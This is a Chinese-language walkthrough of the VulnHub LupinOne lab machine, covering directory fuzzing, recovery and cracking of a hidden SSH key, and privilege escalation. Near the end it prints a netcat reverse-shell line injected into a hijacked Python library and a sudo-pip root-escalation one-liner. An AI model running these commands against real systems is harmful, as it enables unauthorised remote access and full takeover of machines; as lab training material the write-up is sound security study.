写在前面
比较有名的靶机,赶紧来试试。
官方链接:https://www.vulnhub.com/entry/empire-lupinone,750/
总体来说难度一般,从出题来说并不算很出色。
信息搜集
对目标进行端口扫描并识别指纹,开启端口为80
和22
进80
看看,表面没什么东西
查看源代码,没什么东西,有个小小的提示
Its an easy box, but dont give up.
只能先扫描试试,这里使用的dirsearch
,有一定的收获
robots.txt
查看扫到的robots.txt
,指向下一个目标
进去没什么东西,有一个提示
you can do it, keep trying.
暂时先放放吧
manual/index.html
上面路径扫描还有一个这个结果,打开后是apache
的文档
版本已经暴露
查询该版本nday
,在它的高一个版本有RCE
,当前版本有一个SSRF
,详情可以搜索一下。
我都尝试复现和payload
,但是未存在符合漏洞的目录或相关组件,复现失败
Apache HTTP Server 2.4.48 mod_proxy SSRF漏洞(CVE-2021-40438)
FUZZ突破
在前面的提示中写到keep trying..
,很有可能就是从那个点继续突破,但是本身页面没有什么深挖的地方。
仔细观察url
路径为/~myfiles/
对这个点进行FUZZ
尝试
选择字典可以直接使用bp
自带的Directories FUZZ
开始爆破,找到名为secret
的路径
进去看看,是一段话
翻译如下:
你好朋友,我很高兴你找到了我的秘密目录,我这样创建是为了与你分享我创建的 ssh 私钥文件,
它隐藏在这里的某个地方,这样黑客就不会找到它并用快速通道破解我的密码。
我很聪明我知道。
有什么问题告诉我
你最好的朋友icex64
这里继续提示到,“它隐藏在这里的某个地方”,那么就要从这里找了,但是本身页面非常简单,没有什么值得深挖的点。
只能再次用前面的思路,进行FUZZ
。如果你熟悉ssh
在服务器上的情况,那么你一定知道,它保存在 /root/.ssh
中。所以这里猜测是形似.ssh
的路径。这也是出题的小瑕疵,如果想不到这个点,很难进一步突破,爆破和字典有关,很有运气成分。这里也是看了网友们的思路。
对.
后面的值进行FUZZ
在github
上找了个大的字典,增加爆破准确度
找到了名为mysecret.txt
的文件
打开是一个base58
为特征的密文(因为全局没有0),如果你不知道base系列特征,可以看下面的链接
base系列特征:https://blog.csdn.net/weixin_43326436/article/details/126242443
在网上找一个解密
明显这就是一个ssh
密钥文件
登录服务器
尝试xshell
连接
对于用户名,在前面的提示中已经提到
your best friend icex64
并不能连接,用终端试了一下也是
可以明显看到,需要一个密码,说明这是加了密的。正好对应了前面的提示
its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack
这也正好说了,要使用fasttrack去破解它
首先先转换当前密钥文件为待破解形式,然后指定kali自带的fasttrack字典去破解它,找到密码为:
P@55w0rd!
使用该密码登录,成功
当前目录下存在flag
文件
尝试提权
尝试常规suid
和sudo -l
提权,发现有一个arsene
用户的heist.py
脚本
查看一下有些什么
发现在该目录除了该脚本,还有一个txt
文本,打开看看
翻译如下:
Can you please help check if my code is secure to run, I need to use for my next heist.
I dont want to anyone else get inside it, because it can compromise my account and find my secret file.
Only you have access to my program, because I know that your account is secure.
See you on the other side.
你能帮我检查一下我的代码是否可以安全运行吗?我需要在下次抢劫时使用。
我不想让其他人进入它,因为它会泄露我的帐户并找到我的秘密文件。
只有你可以访问我的程序,因为我知道你的帐户是安全的。
在另一边见。
看看脚本,脚本内容非常简单,导入了一个库,调用了一个open
方法。
查一下这个库的位置,找到了
查看该脚本权限,是有可写权限的
直接看open
方法就可以了,直接将其他东西注释掉,由于该脚本引用了os
库,直接命令执行,反弹shell
os.system("nc 192.168.169.115 10050 -c /bin/bash")
记得用arsene
用户执行该脚本,可以看到登录arsene
用户成功
PIP提权
仍然查suid
文件,sudo -l
文件
这里可以看到pip
是可以无密码以root
权限使用的
用python
转一下终端到bash
pip
提权poc
为:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh','sh','-c','sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
简单解释一下这个poc
,mktemp
命令可以在/tmp
目录下创建一个临时的文件或文件夹,这里使用了-d
参数,所以是临时文件夹(TF
以变量形式,指代该临时文件夹)。第二条是以os
库给出sh
终端,写在该临时文件夹的setup.py
下。最后pip install
,会定位到setup.py
如下图所示
最后在root
目录下找到flag